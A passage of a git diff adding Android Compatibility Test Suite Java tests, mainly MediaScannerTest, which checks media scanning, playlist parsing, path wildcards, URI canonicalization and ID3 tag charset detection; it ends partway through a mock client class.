+        assertTrue("failed to create " + tmpDir, tmpDir.mkdirs());
+
+        for (int i = 0; i < extensions.length; i++) {
+            File foo = new File(tmpPath, "foobar." + extensions[i]);
+            try {
+                // create a non-empty file
+                foo.createNewFile();
+                FileOutputStream out = new FileOutputStream(foo);
+                out.write(0x12);
+                out.flush();
+                out.close();
+                assertTrue(foo.length() != 0);
+            } catch (IOException e) {
+                fail("Error creating " + foo.getAbsolutePath() + ": " + e);
+            }
+        }
+        return tmpPath;
+    }
+
+    void checkTempFiles(String tmpPath, String [] extensions) {
+        for (int i = 0; i < extensions.length; i++) {
+            File foo = new File(tmpPath, "foobar." + extensions[i]);
+            assertTrue(foo.getAbsolutePath() + " no longer exists or was truncated",
+                    foo.length() != 0);
+        }
+    }
+
+    void deleteTempFiles(String tmpPath, String [] extensions) {
+        for (int i = 0; i < extensions.length; i++) {
+            assertTrue(new File(tmpPath, "foobar." + extensions[i]).delete());
+        }
+        assertTrue(new File(tmpPath).delete());
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaScannerTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaScannerTest.java
new file mode 100644
index 0000000..1794eba
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaScannerTest.java
@@ -0,0 +1,783 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.res.AssetFileDescriptor;
+import android.database.Cursor;
+import android.media.MediaMetadataRetriever;
+import android.media.MediaScannerConnection;
+import android.media.MediaScannerConnection.MediaScannerConnectionClient;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.Preconditions;
+import android.net.Uri;
+import android.os.Build;
+import android.os.Environment;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.provider.MediaStore;
+import android.provider.MediaStore.MediaColumns;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.FileCopyHelper;
+import com.android.compatibility.common.util.PollingCheck;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.lang.reflect.Method;
+import java.nio.charset.StandardCharsets;
+
+@Presubmit
+@NonMediaMainlineTest
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaScannerTest extends AndroidTestCase {
+    private static final String MEDIA_TYPE = "audio/mpeg";
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+    private File mMediaFile;
+    private static final int TIME_OUT = 10000;
+    private MockMediaScannerConnection mMediaScannerConnection;
+    private MockMediaScannerConnectionClient mMediaScannerConnectionClient;
+    private String mFileDir;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        // prepare the media file.
+
+        mFileDir = mContext.getExternalMediaDirs()[0].getAbsolutePath();
+
+        cleanup();
+        String fileName = mFileDir + "/test" + System.currentTimeMillis() + ".mp3";
+        writeFile("testmp3.mp3", fileName);
+
+        mMediaFile = new File(fileName);
+        assertTrue(mMediaFile.exists());
+    }
+
+    protected AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        File inpFile = new File(mInpPrefix + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    private void writeFile(int resid, String path) throws IOException {
+        File out = new File(path);
+        File dir = out.getParentFile();
+        dir.mkdirs();
+        FileCopyHelper copier = new FileCopyHelper(mContext);
+        copier.copyToExternalStorage(resid, out);
+    }
+
+    private void writeFile(final String res, String path) throws IOException {
+        File out = new File(path);
+        File dir = out.getParentFile();
+        dir.mkdirs();
+        FileCopyHelper copier = new FileCopyHelper(mContext);
+        copier.copyToExternalStorage(mInpPrefix + res, out);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        cleanup();
+        super.tearDown();
+    }
+
+    private void cleanup() {
+        if (mMediaFile != null) {
+            mMediaFile.delete();
+        }
+        if (mFileDir != null) {
+            String files[] = new File(mFileDir).list();
+            if (files != null) {
+                for (String f: files) {
+                    new File(mFileDir + "/" + f).delete();
+                }
+            }
+            new File(mFileDir).delete();
+        }
+
+        if (mMediaScannerConnection != null) {
+            mMediaScannerConnection.disconnect();
+            mMediaScannerConnection = null;
+        }
+
+        mContext.getContentResolver().delete(MediaStore.Audio.Media.getContentUri("external"),
+                "_data like ?", new String[] { mFileDir + "%"});
+    }
+
+    public void testLocalizeRingtoneTitles() throws Exception {
+        mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
+        mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
+            mMediaScannerConnectionClient);
+
+        assertFalse(mMediaScannerConnection.isConnected());
+
+        // start connection and wait until connected
+        mMediaScannerConnection.connect();
+        checkConnectionState(true);
+
+        // Write unlocalizable audio file and scan to insert into database
+        final String unlocalizablePath = mFileDir + "/unlocalizable.mp3";
+        writeFile("testmp3.mp3", unlocalizablePath);
+        mMediaScannerConnection.scanFile(unlocalizablePath, null);
+        checkMediaScannerConnection();
+        final Uri media1Uri = mMediaScannerConnectionClient.mediaUri;
+
+        // Ensure unlocalizable titles come back correctly
+        final ContentResolver res = mContext.getContentResolver();
+        final String unlocalizedTitle = "Chimey Phone";
+        Cursor c = res.query(media1Uri, new String[] { "title" }, null, null, null);
+        assertEquals(1, c.getCount());
+        c.moveToFirst();
+        assertEquals(unlocalizedTitle, c.getString(0));
+
+        mMediaScannerConnectionClient.reset();
+
+        // Write localizable audio file and scan to insert into database
+        final String localizablePath = mFileDir + "/localizable.mp3";
+        writeFile("testmp3_4.mp3", localizablePath);
+        mMediaScannerConnection.scanFile(localizablePath, null);
+        checkMediaScannerConnection();
+        final Uri media2Uri = mMediaScannerConnectionClient.mediaUri;
+
+        // Ensure localized title comes back localized
+        final String localizedTitle = mContext.getString(R.string.test_localizable_title);
+        c = res.query(media2Uri, new String[] { "title" }, null, null, null);
+        assertEquals(1, c.getCount());
+        c.moveToFirst();
+        assertEquals(localizedTitle, c.getString(0));
+
+        mMediaScannerConnection.disconnect();
+        c.close();
+    }
+
+    public void testMediaScanner() throws InterruptedException, IOException {
+        mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
+        mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
+                                    mMediaScannerConnectionClient);
+
+        assertFalse(mMediaScannerConnection.isConnected());
+
+        // start connection and wait until connected
+        mMediaScannerConnection.connect();
+        checkConnectionState(true);
+
+        // start and wait for scan
+        mMediaScannerConnection.scanFile(mMediaFile.getAbsolutePath(), MEDIA_TYPE);
+        checkMediaScannerConnection();
+
+        Uri insertUri = mMediaScannerConnectionClient.mediaUri;
+        long id = Long.valueOf(insertUri.getLastPathSegment());
+        ContentResolver res = mContext.getContentResolver();
+
+        // check that the file ended up in the audio view
+        Cursor c = res.query(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI, null,
+                MediaColumns.DATA + "=?", new String[] { mMediaFile.getAbsolutePath() }, null);
+        assertEquals(1, c.getCount());
+        c.close();
+
+        // add nomedia file and insert into database, file should no longer be in audio view
+        File nomedia = new File(mMediaFile.getParent() + "/.nomedia");
+        nomedia.createNewFile();
+        startMediaScanAndWait();
+
+        // entry should not be in audio view anymore
+        c = res.query(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI, null,
+                MediaColumns.DATA + "=?", new String[] { mMediaFile.getAbsolutePath() }, null);
+        assertEquals(0, c.getCount());
+        c.close();
+
+        // with nomedia file removed, do media scan and check that entry is in audio table again
+        nomedia.delete();
+        startMediaScanAndWait();
+
+        // Give the 2nd stage scan that makes the unhidden files visible again
+        // a little more time
+        SystemClock.sleep(10000);
+        // entry should be in audio view again
+        c = res.query(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI, null,
+                MediaColumns.DATA + "=?", new String[] { mMediaFile.getAbsolutePath() }, null);
+        assertEquals(1, c.getCount());
+        c.close();
+
+        // ensure that we don't currently have playlists named ctsmediascanplaylist*
+        res.delete(MediaStore.Audio.Playlists.EXTERNAL_CONTENT_URI,
+                MediaStore.Audio.PlaylistsColumns.NAME + "=?",
+                new String[] { "ctsmediascanplaylist1"});
+        res.delete(MediaStore.Audio.Playlists.EXTERNAL_CONTENT_URI,
+                MediaStore.Audio.PlaylistsColumns.NAME + "=?",
+                new String[] { "ctsmediascanplaylist2"});
+        // delete the playlist file entries, if they exist
+        res.delete(MediaStore.Files.getContentUri("external"),
+                MediaStore.Files.FileColumns.DATA + "=?",
+                new String[] { mFileDir + "/ctsmediascanplaylist1.pls"});
+        res.delete(MediaStore.Files.getContentUri("external"),
+                MediaStore.Files.FileColumns.DATA + "=?",
+                new String[] { mFileDir + "/ctsmediascanplaylist2.m3u"});
+
+        // write some more files
+        writeFile("testmp3.mp3", mFileDir + "/testmp3.mp3");
+        writeFile("testmp3_2.mp3", mFileDir + "/testmp3_2.mp3");
+        writeFile("playlist1.pls", mFileDir + "/ctsmediascanplaylist1.pls");
+        writeFile("playlist2.m3u", mFileDir + "/ctsmediascanplaylist2.m3u");
+
+        startMediaScanAndWait();
+
+        // verify that the two playlists were created correctly;
+        c = res.query(MediaStore.Audio.Playlists.EXTERNAL_CONTENT_URI, null,
+                MediaStore.Audio.PlaylistsColumns.NAME + "=?",
+                new String[] { "ctsmediascanplaylist1"}, null);
+        assertEquals(1, c.getCount());
+        c.moveToFirst();
+        long playlistid = c.getLong(c.getColumnIndex(MediaStore.MediaColumns._ID));
+        c.close();
+
+        c = res.query(MediaStore.Audio.Playlists.Members.getContentUri("external", playlistid),
+                null, null, null, MediaStore.Audio.Playlists.Members.PLAY_ORDER);
+        assertEquals(2, c.getCount());
+        c.moveToNext();
+        long song1a = c.getLong(c.getColumnIndex(MediaStore.Audio.Playlists.Members.AUDIO_ID));
+        c.moveToNext();
+        long song1b = c.getLong(c.getColumnIndex(MediaStore.Audio.Playlists.Members.AUDIO_ID));
+        c.close();
+        assertTrue("song id should not be 0", song1a != 0);
+        assertTrue("song id should not be 0", song1b != 0);
+        assertTrue("song ids should not be same", song1a != song1b);
+
+        // 2nd playlist should have the same songs, in reverse order
+        c = res.query(MediaStore.Audio.Playlists.EXTERNAL_CONTENT_URI, null,
+                MediaStore.Audio.PlaylistsColumns.NAME + "=?",
+                new String[] { "ctsmediascanplaylist2"}, null);
+        assertEquals(1, c.getCount());
+        c.moveToFirst();
+        playlistid = c.getLong(c.getColumnIndex(MediaStore.MediaColumns._ID));
+        c.close();
+
+        c = res.query(MediaStore.Audio.Playlists.Members.getContentUri("external", playlistid),
+                null, null, null, MediaStore.Audio.Playlists.Members.PLAY_ORDER);
+        assertEquals(2, c.getCount());
+        c.moveToNext();
+        long song2a = c.getLong(c.getColumnIndex(MediaStore.Audio.Playlists.Members.AUDIO_ID));
+        c.moveToNext();
+        long song2b = c.getLong(c.getColumnIndex(MediaStore.Audio.Playlists.Members.AUDIO_ID));
+        c.close();
+        assertEquals("mismatched song ids", song1a, song2b);
+        assertEquals("mismatched song ids", song2a, song1b);
+
+        mMediaScannerConnection.disconnect();
+
+        checkConnectionState(false);
+    }
+
+    public void testWildcardPaths() throws Exception {
+        mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
+        mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
+                                    mMediaScannerConnectionClient);
+
+        assertFalse(mMediaScannerConnection.isConnected());
+
+        // start connection and wait until connected
+        mMediaScannerConnection.connect();
+        checkConnectionState(true);
+
+        long now = System.currentTimeMillis();
+        String dir1 = mFileDir + "/test-" + now;
+        String file1 = dir1 + "/test.mp3";
+        String dir2 = mFileDir + "/test_" + now;
+        String file2 = dir2 + "/test.mp3";
+        assertTrue(new File(dir1).mkdir());
+        writeFile("testmp3.mp3", file1);
+        mMediaScannerConnection.scanFile(file1, MEDIA_TYPE);
+        checkMediaScannerConnection();
+        Uri file1Uri = mMediaScannerConnectionClient.mediaUri;
+
+        assertTrue(new File(dir2).mkdir());
+        writeFile("testmp3.mp3", file2);
+        mMediaScannerConnectionClient.reset();
+        mMediaScannerConnection.scanFile(file2, MEDIA_TYPE);
+        checkMediaScannerConnection();
+        Uri file2Uri = mMediaScannerConnectionClient.mediaUri;
+
+        // if the URIs are the same, then the media scanner likely treated the _ character
+        // in the second path as a wildcard, and matched it with the first path
+        assertFalse(file1Uri.equals(file2Uri));
+
+        // rewrite Uris to use the file scheme
+        long file1id = Long.valueOf(file1Uri.getLastPathSegment());
+        long file2id = Long.valueOf(file2Uri.getLastPathSegment());
+        file1Uri = MediaStore.Files.getContentUri("external", file1id);
+        file2Uri = MediaStore.Files.getContentUri("external", file2id);
+
+        ContentResolver res = mContext.getContentResolver();
+        Cursor c = res.query(file1Uri, new String[] { "parent" }, null, null, null);
+        c.moveToFirst();
+        long parent1id = c.getLong(0);
+        c.close();
+        c = res.query(file2Uri, new String[] { "parent" }, null, null, null);
+        c.moveToFirst();
+        long parent2id = c.getLong(0);
+        c.close();
+        // if the parent ids are the same, then the media provider likely
+        // treated the _ character in the second path as a wildcard
+        assertTrue("same parent", parent1id != parent2id);
+
+        // check the parent paths are correct
+
+        assertEquals(dir1, getRawFile(MediaStore.Files.getContentUri("external", parent1id))
+                .getAbsolutePath());
+        assertEquals(dir2, getRawFile(MediaStore.Files.getContentUri("external", parent2id))
+                .getAbsolutePath());
+
+        // clean up
+        new File(file1).delete();
+        new File(dir1).delete();
+        new File(file2).delete();
+        new File(dir2).delete();
+        res.delete(file1Uri, null, null);
+        res.delete(file2Uri, null, null);
+        res.delete(MediaStore.Files.getContentUri("external", parent1id), null, null);
+        res.delete(MediaStore.Files.getContentUri("external", parent2id), null, null);
+
+        mMediaScannerConnection.disconnect();
+
+        checkConnectionState(false);
+    }
+
+    public void testCanonicalize() throws Exception {
+        mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
+        mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
+                                    mMediaScannerConnectionClient);
+
+        assertFalse(mMediaScannerConnection.isConnected());
+
+        // start connection and wait until connected
+        mMediaScannerConnection.connect();
+        checkConnectionState(true);
+
+        // test unlocalizable file
+        // testcanonicalize_mp3 has an ID3 title that is unique to this test.
+        // Do not use this clip for any other test and do not copy this to sdcard
+        // while running the test
+        canonicalizeTest(R.raw.testcanonicalize_mp3);
+
+        mMediaScannerConnectionClient.reset();
+
+        // test localizable file
+        // testcanonicalize_localizable_mp3 has an ID3 title that is unique to this test.
+        // Do not use this clip for any other test and do not copy this to sdcard
+        // while running the test
+        canonicalizeTest(R.raw.testcanonicalize_localizable_mp3);
+    }
+
+    private void canonicalizeTest(int resId) throws Exception {
+        // write file and scan to insert into database
+        String fileDir = mFileDir + "/canonicaltest-" + System.currentTimeMillis();
+        String fileName = fileDir + "/test.mp3";
+        writeFile(resId, fileName);
+        mMediaScannerConnection.scanFile(fileName, MEDIA_TYPE);
+        checkMediaScannerConnection();
+
+        // check path and uri
+        Uri uri = mMediaScannerConnectionClient.mediaUri;
+        String path = mMediaScannerConnectionClient.mediaPath;
+        assertEquals(fileName, path);
+        assertNotNull(uri);
+
+        // check canonicalization
+        ContentResolver res = mContext.getContentResolver();
+        Uri canonicalUri = res.canonicalize(uri);
+        assertNotNull(canonicalUri);
+        assertFalse(uri.equals(canonicalUri));
+        Uri uncanonicalizedUri = res.uncanonicalize(canonicalUri);
+        assertEquals(uri, uncanonicalizedUri);
+
+        // remove the entry from the database
+        assertEquals(1, res.delete(uri, null, null));
+
+        // write same file again and scan to insert into database
+        mMediaScannerConnectionClient.reset();
+        String fileName2 = fileDir + "/test2.mp3";
+        writeFile(resId, fileName2);
+        mMediaScannerConnection.scanFile(fileName2, MEDIA_TYPE);
+        checkMediaScannerConnection();
+
+        // check path and uri
+        Uri uri2 = mMediaScannerConnectionClient.mediaUri;
+        String path2 = mMediaScannerConnectionClient.mediaPath;
+        assertEquals(fileName2, path2);
+        assertNotNull(uri2);
+
+        // this should be a different entry in the database and not re-use the same database id
+        assertFalse(uri.equals(uri2));
+
+        Uri canonicalUri2 = res.canonicalize(uri2);
+        assertNotNull(canonicalUri2);
+        assertFalse(uri2.equals(canonicalUri2));
+        Uri uncanonicalizedUri2 = res.uncanonicalize(canonicalUri2);
+        assertEquals(uri2, uncanonicalizedUri2);
+
+        // uncanonicalize the original canonicalized uri, it should resolve to the new uri
+        Uri uncanonicalizedUri3 = res.uncanonicalize(canonicalUri);
+        assertEquals(uri2, uncanonicalizedUri3);
+
+        assertEquals(1, res.delete(uri2, null, null));
+    }
+
+    static class MediaScanEntry {
+        MediaScanEntry(String r, String[] t) {
+            this.fileName = r;
+            this.tags = t;
+        }
+        final String fileName;
+        String[] tags;
+    }
+
+    MediaScanEntry encodingtestfiles[] = {
+            new MediaScanEntry("gb18030_1.mp3",
+                    new String[] {"罗志祥", "2009年11月新歌", "罗志祥", "爱不单行(TV Version)", null} ),
+            new MediaScanEntry("gb18030_2.mp3",
+                    new String[] {"张杰", "明天过后", null, "明天过后", null} ),
+            new MediaScanEntry("gb18030_3.mp3",
+                    new String[] {"电视原声带", "格斗天王(限量精装版)(预购版)", null, "11.Open Arms.( cn808.net )", null} ),
+            new MediaScanEntry("gb18030_4.mp3",
+                    new String[] {"莫扎特", "黄金古典", "柏林爱乐乐团", "第25号交响曲", "莫扎特"} ),
+            new MediaScanEntry("gb18030_6.mp3",
+                    new String[] {"张韶涵", "潘朵拉", "張韶涵", "隐形的翅膀", "王雅君"} ),
+            new MediaScanEntry("gb18030_7.mp3", // this is actually utf-8
+                    new String[] {"五月天", "后青春期的诗", null, "突然好想你", null} ),
+            new MediaScanEntry("gb18030_8.mp3",
+                    new String[] {"周杰伦", "Jay", null, "反方向的钟", null} ),
+            new MediaScanEntry("big5_1.mp3",
+                    new String[] {"蘇永康", "So I Sing 08 Live", "蘇永康", "囍帖街", null} ),
+            new MediaScanEntry("big5_2.mp3",
+                    new String[] {"蘇永康", "So I Sing 08 Live", "蘇永康", "從不喜歡孤單一個 - 蘇永康/吳雨霏", null} ),
+            new MediaScanEntry("cp1251_v1.mp3",
+                    new String[] {"Екатерина Железнова", "Корабль игрушек", null, "Раз, два, три", null} ),
+            new MediaScanEntry("cp1251_v1v2.mp3",
+                    new String[] {"Мельница", "Перевал", null, "Королевна", null} ),
+            new MediaScanEntry("cp1251_3.mp3",
+                    new String[] {"Тату (tATu)", "200 По Встречной [Limited edi", null, "Я Сошла С Ума", null} ),
+            // The following 3 use cp1251 encoding, expanded to 16 bits and stored as utf16 
+            new MediaScanEntry("cp1251_4.mp3",
+                    new String[] {"Александр Розенбаум", "Философия любви", null, "Разговор в гостинице (Как жить без веры)", "А.Розенбаум"} ),
+            new MediaScanEntry("cp1251_5.mp3",
+                    new String[] {"Александр Розенбаум", "Философия любви", null, "Четвертиночка", "А.Розенбаум"} ),
+            new MediaScanEntry("cp1251_6.mp3",
+                    new String[] {"Александр Розенбаум", "Философия ремесла", null, "Ну, вот...", "А.Розенбаум"} ),
+            new MediaScanEntry("cp1251_7.mp3",
+                    new String[] {"Вопли Видоплясова", "Хвилі Амура", null, "Або або", null} ),
+            new MediaScanEntry("cp1251_8.mp3",
+                    new String[] {"Вопли Видоплясова", "Хвилі Амура", null, "Таємнi сфери", null} ),
+            new MediaScanEntry("shiftjis1.mp3",
+                    new String[] {"", "", null, "中島敦「山月記」(第1回)", null} ),
+            new MediaScanEntry("shiftjis2.mp3",
+                    new String[] {"音人", "SoundEffects", null, "ファンファーレ", null} ),
+            new MediaScanEntry("shiftjis3.mp3",
+                    new String[] {"音人", "SoundEffects", null, "シンキングタイム", null} ),
+            new MediaScanEntry("shiftjis4.mp3",
+                    new String[] {"音人", "SoundEffects", null, "出題", null} ),
+            new MediaScanEntry("shiftjis5.mp3",
+                    new String[] {"音人", "SoundEffects", null, "時報", null} ),
+            new MediaScanEntry("shiftjis6.mp3",
+                    new String[] {"音人", "SoundEffects", null, "正解", null} ),
+            new MediaScanEntry("shiftjis7.mp3",
+                    new String[] {"音人", "SoundEffects", null, "残念", null} ),
+            new MediaScanEntry("shiftjis8.mp3",
+                    new String[] {"音人", "SoundEffects", null, "間違い", null} ),
+            new MediaScanEntry("iso88591_1.ogg",
+                    new String[] {"Mozart", "Best of Mozart", null, "Overtüre (Die Hochzeit des Figaro)", null} ),
+            new MediaScanEntry("iso88591_2.mp3", // actually UTF16, but only uses iso8859-1 chars
+                    new String[] {"Björk", "Telegram", "Björk", "Possibly Maybe (Lucy Mix)", null} ),
+            new MediaScanEntry("hebrew.mp3",
+                    new String[] {"אריק סיני", "", null, "לי ולך", null } ),
+            new MediaScanEntry("hebrew2.mp3",
+                    new String[] {"הפרוייקט של עידן רייכל", "Untitled - 11-11-02 (9)", null, "בואי", null } ),
+            new MediaScanEntry("iso88591_3.mp3",
+                    new String[] {"Mobilé", "Kartographie", null, "Zu Wenig", null }),
+            new MediaScanEntry("iso88591_4.mp3",
+                    new String[] {"Mobilé", "Kartographie", null, "Rotebeetesalat (Igel Stehlen)", null }),
+            new MediaScanEntry("iso88591_5.mp3",
+                    new String[] {"The Creatures", "Hai! [UK Bonus DVD] Disc 1", "The Creatures", "Imagoró", null }),
+            new MediaScanEntry("iso88591_6.mp3",
+                    new String[] {"¡Forward, Russia!", "Give Me a Wall", "Forward Russia", "Fifteen, Pt. 1", "Canning/Nicholls/Sarah Nicolls/Woodhead"}),
+            new MediaScanEntry("iso88591_7.mp3",
+                    new String[] {"Björk", "Homogenic", "Björk", "Jòga", "Björk/Sjòn"}),
+            // this one has a genre of "Indé" which confused the detector
+            new MediaScanEntry("iso88591_8.mp3",
+                    new String[] {"The Black Heart Procession", "3", null, "A Heart Like Mine", null}),
+            new MediaScanEntry("iso88591_9.mp3",
+                    new String[] {"DJ Tiësto", "Just Be", "DJ Tiësto", "Adagio For Strings", "Samuel Barber"}),
+            new MediaScanEntry("iso88591_10.mp3",
+                    new String[] {"Ratatat", "LP3", null, "Bruleé", null}),
+            new MediaScanEntry("iso88591_11.mp3",
+                    new String[] {"Sempé", "Le Petit Nicolas vol. 1", null, "Les Cow-Boys", null}),
+            new MediaScanEntry("iso88591_12.mp3",
+                    new String[] {"UUVVWWZ", "UUVVWWZ", null, "Neolaño", null}),
+            new MediaScanEntry("iso88591_13.mp3",
+                    new String[] {"Michael Bublé", "Crazy Love", "Michael Bublé", "Haven't Met You Yet", null}),
+            new MediaScanEntry("utf16_1.mp3",
+                    new String[] {"Shakira", "Latin Mix USA", "Shakira", "Estoy Aquí", null}),
+            // Tags are encoded in different charsets.
+            new MediaScanEntry("iso88591_utf8_mixed_1.mp3",
+                    new String[] {"刘昊霖/kidult.", "鱼干铺里", "刘昊霖/kidult.", "Colin Wine's Mailbox", null}),
+            new MediaScanEntry("iso88591_utf8_mixed_2.mp3",
+                    new String[] {"冰块先生/郭美孜", "hey jude", "冰块先生/郭美孜", "Hey Jude", null}),
+            new MediaScanEntry("iso88591_utf8_mixed_3.mp3",
+                    new String[] {"Toy王奕/Tizzy T/满舒克", "1993", "Toy王奕/Tizzy T/满舒克", "Me&Ma Bros", null}),
+            new MediaScanEntry("gb18030_utf8_mixed_1.mp3",
+                    new String[] {"张国荣", "钟情张国荣", null, "左右手", null}),
+            new MediaScanEntry("gb18030_utf8_mixed_2.mp3",
+                    new String[] {"纵贯线", "Live in Taipei 出发\\/终点站", null, "皇后大道东(Live)", null}),
+            new MediaScanEntry("gb18030_utf8_mixed_3.mp3",
+                    new String[] {"谭咏麟", "二十年白金畅销金曲全记录", null, "知心当玩偶", null})
+    };
+
+    public void testEncodingDetection() throws Exception {
+        for (int i = 0; i< encodingtestfiles.length; i++) {
+            MediaScanEntry entry = encodingtestfiles[i];
+            String path =  mFileDir + "/" + entry.fileName;
+            writeFile(entry.fileName, path);
+        }
+
+        startMediaScanAndWait();
+
+        String columns[] = {
+                MediaStore.Audio.Media.ARTIST,
+                MediaStore.Audio.Media.ALBUM,
+                MediaStore.Audio.Media.ALBUM_ARTIST,
+                MediaStore.Audio.Media.TITLE,
+                MediaStore.Audio.Media.COMPOSER
+        };
+        ContentResolver res = mContext.getContentResolver();
+        for (int i = 0; i< encodingtestfiles.length; i++) {
+            MediaScanEntry entry = encodingtestfiles[i];
+            String path =  mFileDir + "/" + entry.fileName;
+            Cursor c = res.query(MediaStore.Audio.Media.getContentUri("external"), columns,
+                    MediaStore.Audio.Media.DATA + "=?", new String[] {path}, null);
+            assertNotNull("null cursor", c);
+            assertEquals("wrong number or results", 1, c.getCount());
+            assertTrue("failed to move cursor", c.moveToFirst());
+
+            for (int j =0; j < 5; j++) {
+                String expected = entry.tags[j];
+                if ("".equals(expected)) {
+                    // empty entry in the table means an unset id3 tag that is filled in by
+                    // the media scanner, e.g. by using "<unknown>". Since this may be localized,
+                    // don't check it for any particular value.
+                    assertNotNull("unexpected null entry " + i + " field " + j + "(" + path + ")",
+                            c.getString(j));
+                } else {
+                    assertEquals("mismatch on entry " + i + " field " + j + "(" + path + ")",
+                            expected, c.getString(j));
+                }
+            }
+            // clean up
+            new File(path).delete();
+            res.delete(MediaStore.Audio.Media.getContentUri("external"),
+                    MediaStore.Audio.Media.DATA + "=?", new String[] {path});
+
+            c.close();
+
+            // also test with the MediaMetadataRetriever API
+            String[] actual;
+            try (MediaMetadataRetriever metadataRetriever = new MediaMetadataRetriever()) {
+                AssetFileDescriptor afd = getAssetFileDescriptorFor(entry.fileName);
+                metadataRetriever.setDataSource(afd.getFileDescriptor(),
+                        afd.getStartOffset(), afd.getDeclaredLength());
+
+                actual = new String[5];
+                actual[0] = metadataRetriever.extractMetadata(
+                        MediaMetadataRetriever.METADATA_KEY_ARTIST);
+                actual[1] = metadataRetriever.extractMetadata(
+                        MediaMetadataRetriever.METADATA_KEY_ALBUM);
+                actual[2] = metadataRetriever.extractMetadata(
+                        MediaMetadataRetriever.METADATA_KEY_ALBUMARTIST);
+                actual[3] = metadataRetriever.extractMetadata(
+                        MediaMetadataRetriever.METADATA_KEY_TITLE);
+                actual[4] = metadataRetriever.extractMetadata(
+                        MediaMetadataRetriever.METADATA_KEY_COMPOSER);
+            }
+
+            for (int j = 0; j < 5; j++) {
+                if ("".equals(entry.tags[j])) {
+                    // retriever doesn't insert "unknown artist" and such, it just returns null
+                    assertNull("retriever: unexpected non-null for entry " + i + " field " + j,
+                            actual[j]);
+                } else {
+                    Log.i("@@@", "tags: @@" + entry.tags[j] + "@@" + actual[j] + "@@");
+                    assertEquals("retriever: mismatch on entry " + i + " field " + j,
+                            entry.tags[j], actual[j]);
+                }
+            }
+        }
+    }
+
+    private static void scanVolume() {
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R)) {
+            MediaStore.scanVolume(InstrumentationRegistry.getTargetContext().getContentResolver(),
+                    MediaStore.VOLUME_EXTERNAL_PRIMARY);
+        } else {
+            // on Q, scanVolume(Context, String path) should be used
+            try {
+                Method scanVolumeMethod = MediaStore.class
+                    .getMethod("scanVolume", Context.class, File.class);
+                scanVolumeMethod.invoke(null,
+                        InstrumentationRegistry.getTargetContext(),
+                        Environment.getExternalStorageDirectory());
+            } catch (Exception ex) {
+                fail("could not find scanVolume method" + ex);
+            }
+        }
+    }
+
+    public static void startMediaScan() {
+        new Thread(() -> { scanVolume(); }).start();
+    }
+
+    public static void startMediaScanAndWait() {
+        scanVolume();
+    }
+
+    private void checkMediaScannerConnection() {
+        new PollingCheck(TIME_OUT) {
+            protected boolean check() {
+                return mMediaScannerConnectionClient.isOnMediaScannerConnectedCalled;
+            }
+        }.run();
+        new PollingCheck(TIME_OUT) {
+            protected boolean check() {
+                return mMediaScannerConnectionClient.mediaPath != null;
+            }
+        }.run();
+    }
+
+    private void checkConnectionState(final boolean expected) {
+        new PollingCheck(TIME_OUT) {
+            protected boolean check() {
+                return mMediaScannerConnection.isConnected() == expected;
+            }
+        }.run();
+    }
+
+    class MockMediaScannerConnection extends MediaScannerConnection {
+
+        public boolean mIsOnServiceConnectedCalled;
+        public boolean mIsOnServiceDisconnectedCalled;
+        public MockMediaScannerConnection(Context context, MediaScannerConnectionClient client) {
+            super(context, client);
+        }
+
+        @Override
+        public void onServiceConnected(ComponentName className, IBinder service) {
+            super.onServiceConnected(className, service);
+            mIsOnServiceConnectedCalled = true;
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName className) {
+            super.onServiceDisconnected(className);
+            mIsOnServiceDisconnectedCalled = true;
+            // this is not called.
+        }
+    }
+
+    class MockMediaScannerConnectionClient implements MediaScannerConnectionClient {
+
+        public boolean isOnMediaScannerConnectedCalled;
+        public String mediaPath;
+        public Uri mediaUri;
+        public void onMediaScannerConnected() {
+            isOnMediaScannerConnectedCalled = true;
+        }
+
